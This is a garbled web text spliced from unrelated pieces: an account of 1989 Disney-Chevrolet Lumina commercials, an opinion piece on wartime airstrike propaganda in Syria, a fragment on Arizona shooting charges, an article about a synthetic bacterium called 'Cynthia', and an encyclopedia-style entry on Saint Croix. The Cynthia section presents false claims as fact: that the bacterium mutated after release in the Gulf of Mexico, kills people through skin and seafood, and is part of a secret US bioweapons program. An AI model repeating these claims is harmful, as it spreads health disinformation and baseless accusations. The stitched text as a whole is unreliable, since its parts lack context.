Among those 15-second commercials, besides the two already mentioned, were six dancing hippos from Fantasia (1940) clad in tutus, joyfully coming out of a hotel on the backlot New York Street and easily fitting into the Lumina four-door sedan because it had such a roomy interior.
The three good fairies from Sleeping Beauty (1959) scattered magic dust around a sedan to promote the bumper-to-bumper protection warranty. Goofy on the backlot of New York Street battled typhoon force winds (perhaps coming from Typhoon Lagoon that also opened that year) and withstands them just as well as the galvanized steel body panels on the Lumina.
One spot featured Cinderella's Fairy Godmother using her magic to transform a Chevy Corvette into a Lumina sedan, because the unique rear suspension was so similar. There was even a 15-second spot severely edited from the 60-second one.
In the commercials, which were shot months before the park actually opened, notice how the archway into the animation courtyard lacks detail and there are things missing from the Chinese Theater as well.
The 60-second commercial had 18 separate scenes, and each required a different camera angle, lighting array, special effects, extras, props, and, of course, the addition of the famous Disney characters in animated form.
Even the bowtie emblems in the wheel covers of the cars needed to be properly aligned so the car was jacked up and the wheels could be turned into the right positions. This attention to detail on the product is quite common on most high-end commercials. McDonald's might go through hundreds of different hamburgers to find the right one for the final shoot, and even then might enhance it with something like a quick spray of water on the lettuce to make it appear more juicy.
When Minnie Mouse briefly checks her makeup in the gloss of the Lumina's fender, it means that the area must be polished to the highest possible mirror-like sheen in real life, reflecting other real things.
The premiere scene included approximately a 125 extras dressed in tuxedos, elaborate evening gowns, sparkling fake diamond accessories, and more that all help create the illusion of a huge Hollywood premiere at the theater.
Producer MacGowan explained that the live-action shooting was just the smallest part of the overall process to writer Don Sherman in a 1989 special issue of Friends travel magazine:
"It's called interactive animation. The actual technique that mixes live and animated film is known as 'compositing.' What we do is shoot normal film that contains the backgrounds, the props, the live action, and the special effects, such as smoke and fireworks. "Everything BUT the animation. Of course, we must make certain accommodations for the animated characters to fit in properly. For example, if an actor in one of the segments talks to Goofy, he has to know how tall Goofy is and exactly where he will be so the conversation looks convincing in the final film. We rehearse with full size props like sometimes a cutout standee. Then, when the actor has it embedded in his mind where Goofy will be, he delivers his lines in front of a live camera without the prop. "In the 'Premiere' commercial, a little girl offers her autograph book to one of the animated characters, and we have to make the pen move by remote control during the live part of the filming. Then when the animation is added later, it looks like Donald Duck really is signing her book! "We knew going in that what we wanted was the 'Roger Rabbit' look. We had so little time to turn this job around that I knew we couldn't train anyone with new and difficult film techniques. What we did instead was hire the actual experts who had worked on Roger Rabbit from the award-winning cinematographer Dean Cundey (who was named director of the production) and the film editor, Artie Schmidt, to the script gal and so on. "Luckily Cundey had the time available to work with us before he begins shooting Back to the Future II (1989). The producer's responsibility is to eliminate potential problems, so that's why I went after the best in the business."
Director Cundey added:
"The techniques we perfected during the production of Who Framed Roger Rabbit (1988) really let us create a very convincing illusion—that animated characters could exist in a live-action world. It goes way beyond the simple addition of flat, two-dimensional characters to a normal piece of film, which has been done many times in the past. "What we did was develop lighting and camera techniques that together help create a far more complex illusion. The animated characters then become more lifelike. They move around the room, cast shadows, and reflect light just like a real human being would. Creating a fantasy world so real that people believe it exists is what I truly enjoy about this work. "The differences between Roger Rabbit and this production aren't that great. Both use about 10 layers, or cels, to add the animation techniques to the regular film material. This includes the character animation, tone mats, reflection mats, shadow mats—everything you need to produce interactive animation. "The key difference is that Roger Rabbit was all done with film while the Lumina commercials use digital electronics to make the composites. This permits us to make what amounts to camera moves in the post-production phase. With digital techniques, we can actually track (change camera position) and zoom (move in for a closer view) even though the camera was actually fixed when we shot the film. "Digital compositing is somewhat more sophisticated than the film-to-film compositing used in Roger Rabbit in that it gives you more freedom during post-production. Unfortunately, this method doesn't yet offer the resolution that's necessary when you enlarge the image to the size of a huge movie-theater screen. Everyone says that this technology will be available someday. For right now, though, it only works in the smaller formats, such as television films."
During the filming of the premiere commercial, a soundproofed generator truck overheated and shut down right in the middle of the major shoot one evening. That delay meant that nearly 250 people, from technicians to extras in spike heels and low-cut evening gowns, had to stand around in the famous Florida weather waiting for a replacement.
The failed generator was pulled off the power grid and three replacement units made their way to the location. In all, it took 90 minutes to get the stage lights back on.
"The real work begins in post-production," MacGowan said.
Twelve-thousand feet of film was exposed during the Florida shoot, but would need to be edited down to roughly 300 feet or so to be used in the finished commercials. Sound tracks, animation, shading mats, and various computer-generated graphics were added during the process, which would total nearly five times the number of days of the original live-action shoot.
Once the film was edited from the raw footage by Artie Schmidt (who did some of the editing simultaneously with the live-action shooting) that rough cut had to be approved by the client. Once that was done, just like for Roger Rabbit, photostats (basically still photos) from the film were used to create frames, over which animators laid their animation paper and drew in the figures to interact with the live action since they could see where the live action was.
Again, that animation had to be approved in a rough pencil test before it was sent for the pencil drawings to be transferred to cels and ink and painted. It was estimated that the commercials required more than 5,000 animation elements with each animator providing only about three seconds of finished animation a week.
When the cels were finished, they were photographed frame-by-frame with a special 35 millimeter camera rig. Then, the final step was an outside firm taking the live-action footage, the animation and the soundtrack and doing digital-electronic compositing for something that would only be seen briefly on a TV screen and then never rerun after a few weeks of sales promotion.
Even then, color and exposure corrections were done to make everything looked as seamless as possible.
While the end of the one-minute commercial had a gleeful Mickey popping up in the left hand corner of the screen saying "See Ya Real Soon!" it was not to be. The partnership between Chevrolet and Disney ended fairly quickly, just months later, beginning in September 1989.
A marketing manager for Disney stated that the campaign, while successful and done to the standards of Disney quality, sparked concerns in upper management that the Disney characters were becoming overexposed and associated with non-Disney items.
"We want Mickey to be used as much as possible in his natural environment, and certainly never in a way that he appears to be huckstering," said the Disney manager.
Chevy manager McAvoy said GM had been happy with the advertisements, which tied in with Disney's new theme park in Orlando, but would now explore alternate ideas with Disney for joint marketing without the characters.
Disney characters had previously appeared in a series of stylized commercials designed by Disney artist Tom Oreb for American Motors Corporation (AMC), producers of cars like the Rambler, Hudson Hornet and Wasp, in the mid-1950s. They were done by a small little-known commercial studio on the Disney Studios lot run by Disney's niece, Phyllis Bounds.
The deal was made because AMC sponsored both the weekly Disneyland television program, as well as the CirCARama attraction in Tomorrowland at Disneyland. The commercials featured Mickey Mouse and Minnie, Donald Duck and his nephews, Jiminy Cricket, B'rer Rabbit, B'rer Fox, and B'rer Bear, among others. Just like the Lumina commercials, they were short-lived just for the new car season.
So, the Lumina commercials were an interesting and well-made aberration that some Disney fans remember, while others are clueless. Hopefully, this article will shed some light on this unique collaboration.
Airstrikes that hit the wrong target have always been justified or denied by the perpetrators with a rich blend of hypocrisy and lies. It was interesting to see this tradition of deliberate mendacity being not only maintained, but outdone in Syria over the last week. The US was seeking to explain how it had come to kill at least 62 Syrian soldiers fighting Isis in the besieged government-held city of Deir Ezzor a week ago and the Russians evading responsibility for an air attack on a UN aid convoy killing 20 people outside Aleppo five days later.
The explanation of US military officials was splendidly ingenious. As dutifully retailed by CNN, they said they believed a likely scenario was that the personnel hit were prisoners of the regime, perhaps military personnel being detained, although that is not certain.
The initial signs indicated that they were dressed in civilian clothing. They may not have had the typical weapons of a Syrian military unit but rather trucks with weapons mounted on top of them. It is also not known if they were deliberately placed there to potentially deceive the coalition.
For students of war propaganda this is a wonderful piece of obfuscation. No evidence is produced for “the likely scenario” in which supposition is heaped on supposition. Its purpose is instead to mask, or throw in doubt over, the obvious fact that someone had committed a blunder and ordered an attack on a long established Syrian Army position near Deir Ezzor airport. This sort of smoke screen is not designed to last very long, but to blunt criticism during the first crucial few days when the story is still at the top of the news agenda. Then a few weeks or even months down the road, there can be a grudging admission of the truth, or part of it, when it will barely get a mention at the end of newscasts or be relegated to page 24 of the newspapers. An old PR adage says that the best way for the perpetrator of some disaster to limit the damage to himself or herself is to “first say no story and then say old story.” It still works.
The Russian explanation of the attack on the UN aid convoy on 19 September is also well worth studying as an example of the propagandist’s art. It is important to make your explanation detailed and interesting because it will be competing with a reality which, in the nature of war, will be murky and confusing. The Russian news agency Tass quoted a senior Russian official as saying that “analysis of video records from drones of yesterday’s movement of the humanitarian convoy across Aleppo territories controlled by militants has revealed new details. It is clearly seen in the video that a terrorists’ pickup truck with a towed large-calibre mortar is moving along with the convoy.”
This was good stuff. Suggesting that there was an understandable reason to imagine they were attacking a legitimate target – though it had to be admitted that “the large calibre mortar” had somehow disappeared by the time of the attack. But the Russians made the mistake of producing too many exculpatory stories at the same time, claiming there were no Russian or Syrian planes in the area – in which case why suggest the legitimate target scenario? Other Russian explanations were that there had been no attack at all and, if there had been, it had been carried out by jihadis and, in any case, all the damage was done from the ground and not from the air.
The crucial point is never to leave a vacuum of information when a story is at the top of the news agenda because that vacuum will be filled by your enemies (if it has now got wide media attention it may be better to ignore it because a rebuttal may serve only to give the story legs). It does not matter if what you are spouting is nonsense because it only has to hold up for two or three days and probably less (the UN aid convoy attack was swiftly overtaken as a news story by the riots in Charlotte, North Carolina). An advantage for the propagandist is that it is easy to make up a lie, but it can take much more time and effort to convincingly refute it.
The truth is that air attacks fail to hit the right target regularly, though not often with such diplomatically disastrous consequences as last week. Air forces emphasise that with smart bombs they can hit targets with far more accuracy than ever before, but they seldom stress that the targeting is based on intelligence which may be flawed or misinterpreted. The misinterpretation may take place far away in some operations centre or it may be some partisan local source peering through binoculars.
Most intelligence comes from local ground forces. The RAF says that the reason that it has only launched 65 airstrikes in Syria over the last nine months compared to 550 in Iraq is that it lacks partners on the ground in Syria while in Iraq it has the Iraqi Army and the Kurdish Peshmerga.
Bombing blunders have a certain amount in common in all recent wars. In 1991, I went to the Amariyah shelter in Baghdad where sometime earlier the US had dropped two smart bombs that had incinerated 400 people, mostly women and children. The US had supposed it was a command centre based on radio signals and local informants. The reliability of these spies could be judged by several disastrous attempts, based on their information, to kill Saddam Hussein and his senior lieutenants who turned out to be nowhere near at the time.
In 2009 I reported on an airstrike in three villages in Farah province in south west Afghanistan, which had killed 147 villagers. It had started when there was a fight between local Afghan police and the Taliban in which the police had come off the worst. Three of their vehicles had been destroyed. Because they were frightened – and perhaps as an act of vengeance – the police (though they must have got a US Special Forces officer to sign off on this) had called in airstrikes that had destroyed the mud brick walls of the compounds and left craters 20 feet deep. The first US military explanation of what had happened, repeated by US Secretary of Defence Robert Gates, was that the Taliban themselves were responsible.
The charges include three counts of drive by shooting, six counts of aggravated assault, three counts of unlawful discharge of a firearm, three counts of disorderly conduct, and one count of endangerment.
In a statement released by Maricopa County Attorney Bill Montgomery, the prosecutor noted that few details about the investigation will be released.
"I understand the frustration by some with respect to the limited amount of information released by the Department of Public Safety to date," said Maricopa County Attorney Bill Montgomery. "However, I am equally grateful for the caution necessary to safeguard any prosecution of the Defendant and the need to protect Due Process rights," he added.
Merritt is charged in four shootings that occurred between August 27 and August 30. Police are still investigating at least half a dozen other shootings that occurred in late August and early September.
Among others, one can recall the story about the long struggle between civil authorities of various states and the US chemical giant Monsanto provoked by research in the potential dangers of GMO products, and the Monsanto-produced herbicide Roundup in particular. The actual damage inflicted on the agricultural business of various states is yet to be carefully assessed, but even at this stage it safe to say that Monsanto’s expansion into India and surrounding markets resulted in deaths of thousands of people.
However, in the nearest future, the planet could face yet another “monster” that was bred deep inside US corporate laboratories. We are talking about the first synthetic bacteria – Cynthia, created “to combat oil pollution in the Gulf of Mexico” which, according to the various reports that are often ignored by the corporate media, has mutated and has started attacking animals and humans. Now this highly lethal microorganism is on its way to Europe.
One could recall that back in April 2010 an explosion at a British Petroleum oil rig resulted in millions of barrels of oil contaminating the Gulf of Mexico. Despite the drastic measures taken to prevent an environmental catastrophe, an oil slick produced by the Deepwater Horizon oil spill covered over sixty thousand square miles.
As one of the means of addressing the environmental catastrophe on their hands, Washington decided to take drastic measures, regardless of the possible consequences of those actions. It was at that time when an artificially created microorganism nicknamed Cynthia was unleashed, without any kind of examination of the possible threat it may pose to the environment.
Cynthia is the brainchild of the J. Craig Venter Institute — which was engaged in genetic engineering experiments since the beginning of the 21st century — and Synthetic Genomics Inc, and was created and funded directly by BP. It was believed that Cynthia feeds on oil, but it turns out now that it is equally willing to consume all forms of organic life as well…
In 2011, Cynthia was unleashed in the Gulf of Mexico and in its initial stages of life it was absorbing oil slicks at breathtaking speed. In January, 2011 the Register reported that scientists were particularly impressed by the speed with which the bacteria was eating up its “meal”.
But then this bacteria mutated and soon was feeding on organic lifeforms. Strange reports started coming from the US, like five thousand birds falling victims of an “unknown disease” in Arkansas, or more that a hundred thousand dead fish found off the coast of north Louisiana. It was also reported that a total of 128 British Petroleum employees that participated in the liquidation of the oil slick were struck by some mysterious illness. According to various sources they were forbidden to seek relief in public hospitals, to prevent them from talking to anyone about what has happened to them…
Soon it was recorded that the disease and the symptoms that are now associated with the coastal zone of the Gulf of Mexico began spreading to the continental United States – for example, people who were caught by heavy rains that came from the Gulf of Mexico were also exposed to it.
In fact, such disturbing reports have become pretty common, in spite of the restrictive measures taken by the US government to prevent this information from spreading. In particular, it’s been reported that certain individuals who were unfortunate enough to take take a swim in the Gulf of Mexico often found themselves covered with itching sores only to die in agony a few days later due to extensive internal bleeding.
According to media reports, a person can become Cynthia’s victim under two circumstances: if it penetrated the skin barrier through a wound or if they were unfortunate enough to eat raw seafood infected by this bacteria. Once the bacteria is in the system, it penetrates into the layer between the skin and muscles and starts producing a toxin that disrupts tissues. It is known that Cynthia is capable of reproducing itself rapidly within the infected cells, and that it is immune to antibiotics.
According to the University of the District of Columbia (UDC), up to 40% of the residents of the territories adjacent to the Gulf of Mexico have become infected with severe respiratory and skin diseases, and one in four residents is planning to pack up and leave in the nearest future.
Still, Washington has been pretty determined to mute these reports by announcing that the growing death toll can be attributed to some “unknown virus.”
At the same time, we’ve been witnessing disturbing reports that Cynthia has started spreading to different regions of the world, since the mass death of seals in Alaska, near the town of Barrow, was accompanied by skin lesions and extensive damage to internal organs of the deceased animals.
At the rate the bacteria is spreading together with the Gulf Stream, Europe is definitely at risk. What can the consequences of this voyage be if the reports about high lethality among those infected by the bacteria are proven right – one can only guess … It means that the famous beaches of France, Italy and even Greece and Turkey are to be closed permanently. The microscopic Cynthia might swallow the tourist industry of Southern Europe.
What is happening in the Gulf of Mexico – is not a regional problem and the residents of this area are not the only ones at risk. This is a problem of global proportions. The signs of a possible bacterial viral infection are already beginning to appear everywhere. The mysterious, unexplained illness affecting fish, marine mammals, animals, poultry, trees, and plants arise from the synthetic genomes that transforms natural organisms and force them to mutate.
However, even at the initial stage of the test trials of Cynthia, many experts were vocal in stressing the danger of synthetically created living organisms. For instance, Dr Helen Wallace the Executive Director of the British organization Genewatch that oversees research in the field of genetics pointed out in an interview that this synthetic bacteria could pose a serious danger. In turn, the Friends of the Earth movement has stressed time and time again that this scientific achievement of J. Craig Venter is a threat to the entire world, and all the research of this institute should be put on hold.
Many environmentalists and human rights activists on the back of those disturbing reports say that the US government is not prepared to regulate this revolutionary domain of science. An international civil society organization based in Ottawa, Canada known as the ETC Group has sounded the alarm, arguing that Venter opened a “Pandora’s box” and that an international moratorium on the development in the field of synthetic biology in private laboratories must be introduced immediately, since such research may pose a threat to all life on the planet.
So what are we witnessing here if not the manifestation of Washington’s secretive policy on the development of new types of biological weapons? The US has been hard at work on the weakening of the international norm that prohibits the development of biological weapons, while building up its own military biological infrastructure and creating a string of microbiological laboratories across the world that are being run by the Pentagon. The activities of such laboratories are not being supervised so there’s absolutely no guarantee that a new kind of monster that can outmatch Cynthia is not being created in their depths.
Under these circumstances, there’s an urgent need to force Washington into singing the verification mechanism of the Convention on the Prohibition of the Development, Production and Stockpiling of Bacteriological (Biological) and Toxin Weapons and on their Destruction that it blocked unilaterally in 2001. Moreover, there must be a verification mechanism that would guarantee that all the provisions of this convention are observed to the letter by all those who signed it.
Historical marker for Alexander Hamilton
Saint Croix[2] () is an island in the Caribbean Sea, and a county and constituent district of the United States Virgin Islands (USVI), an unincorporated territory of the United States.
St. Croix is the largest of the islands in the territory. However, the territory's capital, Charlotte Amalie, is located on Saint Thomas. As of the 2010 United States Census, St. Croix's population was 50,601,[3] its highest point is Mount Eagle, at 355 metres (1,165 ft). St. Croix's nickname is "Twin City", for its two towns, Frederiksted on the western end and Christiansted on the north-east part of the island.
History [ edit ]
A 1754 Danish map of the island
Dannebrog being lowered at the Governor's Mansion for the last time (31 March 1917)
The island was inhabited by various indigenous groups during its prehistory. Christopher Columbus landed on Santa Cruz, as he called it, on 14 November 1493, and immediately was attacked by the Kalinago, who lived at Salt River on the north shore. This is the first recorded fight between the Spanish and a New World native population, and Columbus gave the battle site the name Cabo de la Flecha (Cape of the Arrow).[4] The Spanish never colonized the Islands, but most or all of the native population was eventually dispersed or killed. By the end of the 16th century, the islands were said to be uninhabited.[5]
Dutch and English settlers landed Saint Croix in 1625, joined by some French refugees from St. Kitts. However, the English expelled the settlers, before they themselves were evicted by a Spanish invasion in August 1650. The Spanish occupation was short lived, since a French force of 166 men attacked, and in the following year 1651 had established a colony of 300 on the island. From 1651 until 1664, the Knights of Malta ruled the island in the name of Louis XIV. The island then passed to the French West India Company. The colony was evacuated to San Domingo in 1695, when France battled the English and Dutch in the War of the Grand Alliance. The island then lay uninhabited and abandoned for another 38 years.[6]
In 1725, St. Thomas Governor Frederick Moth encouraged the Danish West Indies Company's directors to consider purchasing Santa Cruz (Saint Croix). On 15 June 1733, France and Denmark-Norway concluded a treaty by which the Danish West India Company bought Saint Croix for 750,000 livres. Louis XV ratified the treaty on 28 June, and received half the payment in French coins, with the remaining half paid in 18 months. On 16 November 1733, Moth was named the first Danish governor of Saint Croix. The 1742 census lists 120 sugar plantations, 122 cotton plantations, and 1906 slaves, with about 300 Englishmen and 60 Danes on the island. By 1754, the number of slaves had grown to 7,566. That year, King Frederick took direct control of Saint Croix from the company.[7][6]
For nearly 200 years, Saint Croix, St. Thomas and St. John were known as the Danish West Indies. By the mid to late 18th century, "at the peak of the plantation economy, the enslaved population of Saint Croix numbered between 18,000 and 20,000, the white population ranging between 1,500 and 2,000".[8]
Alexander Hamilton and his brother lived with their mother Rachel Faucette on Saint Croix, after she returned to the island in 1765. Their residence was in the upper floor of a house at 34 Company Street, while Rachel used the lower floor as a shop selling food items. Within two years, however, Hamilton lost his father, James Hamilton, by abandonment, and his mother to death. Official documents from the island, a 1768 probate court testimony from his uncle, established Alexander's age at 13. By 1769, Hamilton's cousin, aunt, uncle, and grandmother had also died. His brother James became an apprentice carpenter, and Alexander Hamilton became the ward of Thomas Stevens, a merchant on King Street. Hamilton was soon clerking in the export-import business of Beekman and Cruger, at the intersection of King and King's Cross Streets. In 1772, local businessmen funded Hamilton's further education in New York.[9]
The British invasion and occupation of the Danish West Indies took place at the end of March 1801, with the arrival of a British fleet at St Thomas. Denmark-Norway accepted the Articles of Capitulation and the Britain occupied the islands without a shot being fired. Their occupation lasted only until April 1802, when Britain returned the islands to Denmark-Norway.
A second British invasion of the Danish West Indies took place in December 1807, when a British fleet captured St Thomas on 22 December, and Saint Croix on 25 December. Denmark-Norway did not resist and the invasion again was bloodless. This occupation lasted until 20 November 1815. Both invasions were due to Denmark's alliance with France during the Napoleonic Wars. On the conclusion of a peace with France, the islands were returned to Denmark.
In 1916, Denmark sold Saint Croix, St. Thomas, and St. John to the United States, formalizing the transfer in the Treaty of the Danish West Indies, in exchange for a sum of US$25 million in gold. In a national referendum on the issue, 64.2% of Danish voters approved the sale. An unofficial referendum held in the islands resulted in 99.83% vote in favor of the purchase. Formal transfer of the islands to the U.S. took place on 1 April 1917.
The island's inhabitants were granted United States citizenship in 1927. Industrialization of the island and its move away from an agrarian society took place in the 1960s. The 2012 shutdown of the Hovensa refinery resulted in the loss of many jobs. Agriculture has seen a slow resurgence, due to an increase in demand for local produce and agricultural products.
Geography [ edit ]
Saint Croix lies at : the easternmost point in the United States of America (as measured from the center of the continental United States, ignoring the westernmost of the Aleutian Islands of Alaska just west of the 180th meridian) is Saint Croix's Point Udall. The island has an area of 214.66 km2 (82.88 sq mi). The terrain is rugged, though not extremely so. The highest point on the island, Mount Eagle, is 1,165 feet (355 m) high. Most of the east end is quite hilly and steep, as is the north side from Christiansted west. From the north side hills, a fairly even plain slopes down to the south coast: this was cultivated as the prime sugar land on the island.
Climate [ edit ]
The trade wind blows more or less along the length of the island. The hills of the western part of the island receive a good deal more rain than the east end; annual rainfall is on the whole extremely variable, averaging perhaps 40 inches (1,000 mm) a year. The east end of the island is a dry desert range with a substantial amount of cactus, while the west end has lush vegetation and palm trees. The island has multiple ecosystems in a small geographic area. Fairly severe and extended drought has always been a problem, particularly considering the lack of fresh ground water and lack of freshwater streams or rivers on the island. The island has a desalination plant, but most residential homes and businesses have built-in cisterns used to collect rainwater.
Demographics [ edit ]
Inhabitants are called Crucians [10] (frequently written as "Cruzans").
Due to Saint Croix's history of immigration, there is much debate as to what constitutes a native Crucian. The consensus in Crucian society is that if one is bahn ya ("born here" in Crucian dialect) on Saint Croix, they can claim to be Crucian, but not necessarily a native Crucian. Those considered to be the native Crucians (or by the more politically correct term: ancestral native Crucian) of Saint Croix are persons who can trace their ancestry to the era prior to U.S. Virgin Islands acquisition of American citizenship in 1927. Ancestral native Crucians (approximately one-fourth to one-third of Saint Croix's population) largely consist of the descendants of enslaved Africans brought to the island by Europeans during the 18th and 19th centuries, as well as the descendants of paid laborers recruited by the Danish from the British and Dutch West Indies after emancipation in 1848. As on other Caribbean islands, many ancestral natives are also descended from European settlers and planters that migrated to the West Indies during the 17th, 18th, and 19th centuries. Due to a low number of European females in the colonial West Indies, many European males in colonial Saint Croix produced offspring with the majority African population, whose mixed-heritage descendants bear the surnames of their European ancestors. However, there are also a handful of ancestral families on the island (traditionally known as bukra) of full European ancestry.
Due to historical economic and political differences, as well as the remnants of a 19th-century caste system based on skin complexion, socioeconomic class differences among ancestral native Crucians can vary widely, even within the same family. Most ancestral native Crucians today are employed by the Government of the Virgin Islands, although there are others who are involved in the tourism industry, as well as the legal and medical professions.
Puerto Rican migration was prevalent in the 1930s, 40s and 50s, when many Puerto Ricans relocated to Saint Croix for work after the collapse of the sugar industry. In addition, the U.S. Navy purchase of two-thirds of the nearby Puerto Rican island of Vieques during World War II resulted in the displacement of thousands of Viequenses, many of whom relocated to Saint Croix because of its similar size and geography. The local holiday, Puerto Rico/U.S. Virgin Islands Friendship Day, has been celebrated since the 1960s on the second Monday of October, which is also the same date as Columbus Day. Puerto Ricans in Saint Croix, most of whom have lived on the island for more than a generation, have kept their culture alive while integrating it into the native Crucian culture and society. For example, in informal situations, many Puerto Ricans in Saint Croix speak a unique Spanglish-like combination of Puerto Rican Spanish and the local Crucian creole English.
Migration from "down-island" (a Virgin Islander colloquial term for Caribbean islands east and south of the U.S. and British Virgin Islands), occurred mainly throughout the 1960s and 70s. In that period, agriculture declined as the major industry in Saint Croix and was replaced by tourism, alumina production, and oil refining. Jobs were plentiful in these industries and down-islanders came to Saint Croix by the thousands. The demand for imported labor in Saint Croix was exacerbated by the fact that many ancestral native Crucians, having acquired American citizenship several decades earlier, migrated to the mainland United States to pursue educational and career opportunities. Many down-islanders made Saint Croix their permanent home, while others eventually relocated to the mainland United States or returned to their native countries. Most down-islanders came from St. Kitts and Nevis, Antigua, St. Lucia and Dominica, although people from every Anglophone Caribbean nation can be easily found on St. Croix. Down islanders and their Saint Croix-born offspring form the majority of Saint Croix's middle class, which has dwindled in size since the 2008 global recession.
Although down-island migration to Saint Croix is most commonly thought of as a mid-20th century phenomenon brought upon by American immigration policy, it is important to note that persons of both European and African descent from the nearby islands of Anguilla, St. Martin, Statia, Saba, St. Kitts, Nevis, Antigua, and Montserrat have been migrating to Saint Croix since the 1600s. In addition, many ancestral native Crucians also share family ties with Barbados, as Bajans were heavily recruited to Saint Croix to work on sugar plantations throughout the late 19th century.
Continental Americans, although small in number in comparison with Caribbean immigrants, have also been part of the Saint Croix community. Most reside on the East End of Saint Croix and tend to work in the tourism industry, real estate, and legal professions. Many are temporary residents or retirees, as well.
Arab Palestinians have been an influential part of the local economy since the 1960s, when they first started to migrate to St. Croix to set up shops, supermarkets and gas stations.
In the 21st century, recent waves of migration to Saint Croix have included people from the Dominican Republic, Haiti, Jamaica, the Philippines, and various South American nations.
Saint Croix's history of migration has sometimes caused tensions between immigrants and Crucians whose ancestry on the island dates back for generations. Tensions have subsided to some extent in recent years, mainly due to intermarriage among Crucians and other Caribbean peoples. In the late 1990s, many people supported legislation to define as a "native U.S. Virgin Islander" anyone who could trace their ancestry on the island to 1927, the year in which U.S. Virgin Islanders were granted United States citizenship. This effort by a select group of nationalist senators eventually failed after much public outcry and controversy. It was learned that most native-born U.S. Virgin Islanders would not qualify as "native" under the proposed legislation, as their immigrant ancestors had arrived later than 1927, but thousands of Danish citizens would have qualified.
In 2009, the proposed U.S. Virgin Islands Constitution voted by the Fifth Constitutional Convention established three definitions of U.S. Virgin Islanders: "Ancestral Native Virgin Islander" – those with ancestral ties (and their descendants); "Native Virgin Islander" – those born on the island (and their descendants); and "Virgin Islander" – any United States citizen who has resided in the territory for five years. The proposed constitution was rejected by the United States Congress in 2010 for violating the principle of equal rights for all citizens of the territory, "native" or not, and was sent back to the convention for further consideration.
The total population of the island as per the 2010 U.S. Census is 50,601.[11]
Subdivisions [ edit ]
Saint Croix is divided into the following subdistricts (with population as per the 2010 U.S. Census):
Language [ edit ]
English is the dominant language on St. Croix and has been the official language since 1917, when the Danish West Indies were purchased by the United States. Previously, the official language was Danish, although it was not widely spoken. Other languages throughout St. Croix's colonial history included Irish, Scots, Spanish and French, as well as a now-extinct Dutch Creole spoken by St. Thomas and St. John-born people living in St. Croix, as well as the local creole English, which still exists today.[12]
Known on the island as Crucian, Virgin Islands Creole English is spoken by the majority of the population in informal situations.[13] Spanish is spoken by immigrants from Puerto Rico and the Dominican Republic and their St. Croix-born offspring, and various French creoles are spoken by St. Lucian, Dominican(Dominica), and Haitian immigrants. Arabic is common among the large Palestinian community on St. Croix. Immigrants from the Anglophone Caribbean that migrated to St. Croix after their formative years tend to speak the English creoles of their respective islands in informal situations, which are, for the most part, mutually intelligible with Virgin Islands Creole English.
Religion [ edit ]
St. John's Anglican Church, Christiansted
Christianity is the predominant religion; the island has been called the "Land of Churches"[14] for the approximately 150 churches that serve its 50,000 residents.
Protestant denominations are the most prevalent, but there is also a significant Roman Catholic presence due to Saint Croix's large Hispanic population, as well as Irish influence during the Danish colonial period. Anglican, Methodist, Moravian, Presbyterian, Pentecostal and Seventh-day Adventists are among the Protestant denominations prevalent on the island. There are also followers of the Jehovah's Witness faith, as well as The Church of Jesus Christ of Latter-Day Saints (LDS or Mormon).
As in most of the Caribbean, various forms of Rastafari are practiced on the island. Islam is prevalent among the small local Arab population, and there is a small Jewish presence as well.
Economy [ edit ]
HOVENSA oil refinery
Saint Croix was once an agricultural powerhouse in the Caribbean, but this period ended with the rapid industrialization of the island's economy in the 1960s. Like many other Caribbean islands today, Saint Croix has tourism as one of its main sources of revenue. A number of other industries on the island contribute to the economy.
Saint Croix was home to HOVENSA, one of the world's largest oil refineries. HOVENSA is a limited liability company owned and operated by Hess Oil Virgin Islands Corp. (HOVIC), a division of U.S.-based Hess Corporation, and Petroleos de Venezuela, SA (PDVSA), the national oil company of Venezuela. Gas prices on the island were slightly higher than average when compared to gas prices in the continental United States.
On January 18, 2012, the company announced that the HOVENSA refinery would be permanently shut down. This was expected to have a major adverse effect on the economy of Saint Croix and the entire U.S. Virgin Islands, as the refinery employed 1,200 residents and 950 contractors.[15]
Saint Croix is also home to the Cruzan Rum Distillery,[16] makers of Cruzan Rum, a brand of Beam Suntory, Inc. The Cruzan Rum Distillery was founded in 1760 as Estate Diamond, and for many years used locally grown sugar cane to produce a single "dark" style rum. The distillery now imports sugar cane molasses from other countries in the region, primarily from the Dominican Republic and South America. In recent years, Cruzan Rum, along with Bacardi from Puerto Rico and Gosling's from Bermuda, has contributed to the resurgence of "single barrel," super-premium rum. The quality and smoothness of the Cruzan Estate Rums has won more than 30 Spirit Awards.[17] Cruzan Estate Diamond Rum (aged five years in American oak barrels) and Cruzan Single Barrel Estate Rum (aged 12 years in American oak barrels) are two examples.
Diageo has completed construction of a new distillery on a 26-acre industrial site next to the Hovensa Refinery. The new distillery produces Captain Morgan Rum.[18] Diageo's entrance into the U.S. Virgin Islands rum industry has been controversial. The cash-strapped U.S. Virgin Islands government secured $250 million in bonds for the plant, about which the Puerto Rican government has bitterly complained.
Transportation [ edit ]
Cars drive on the left hand side of the road, but nearly all the automobiles on the island have left side steering columns. This has proven difficult for new residents and visitors from right-hand traffic locales such as the mainland United States, the French and Dutch West Indies, the Dominican Republic, and Puerto Rico. Roads are generally in poor shape, with numerous potholes.
There is a public bus service called Virgin Islands Transit, also known as VITRAN, operated by the Virgin Islands Department of Public Works.
In addition to taxis and buses, St. Croix has shared taxis, locally known as "taxi buses" (also found on the other U.S. Virgin Islands). Taxi buses are full-sized vans running a route from Frederiksted to Christiansted. Taxi buses are privately owned and operated; they do not follow a regular schedule, and there are no pre-specified stops. People simply wait by the side of the road until a taxi bus approaches, then flag the driver down by waving. Passengers can get out anywhere along the taxi route. Taxi buses are not metered and are required by law to charge a flat rate of $2.50, regardless of where a rider gets on and off. Taxis to specific locations are much more expensive and are typically used by tourists.
Ferry service to St. Thomas was restarted in April 2017. The QE IV Ferry makes one trip per day departing from Gallows Bay, Christiansted to Charlotte Amalie, St. Thomas. The journey takes 2.5 hours and costs $50. The QE IV Ferry does not operate during hazardous weather conditions. Please telephone to check ferry status during bad weather. Some Ferry companies based in St. Thomas and St. John sometimes operate St. Croix-to-St. Thomas service for special occasions, such as the St. Croix Agricultural Fair in February, Virgin Islands Carnival, Crucian Christmas Carnival, as well as horse races.
The Henry E. Rohlsen International Airport serves St. Croix with regular flights from the U.S. mainland, Puerto Rico, and the Eastern Caribbean. Seaplanes, operated by Seaborne Airlines, make the trip from St. Croix to St. Thomas, departing and arriving in Christiansted Harbor.
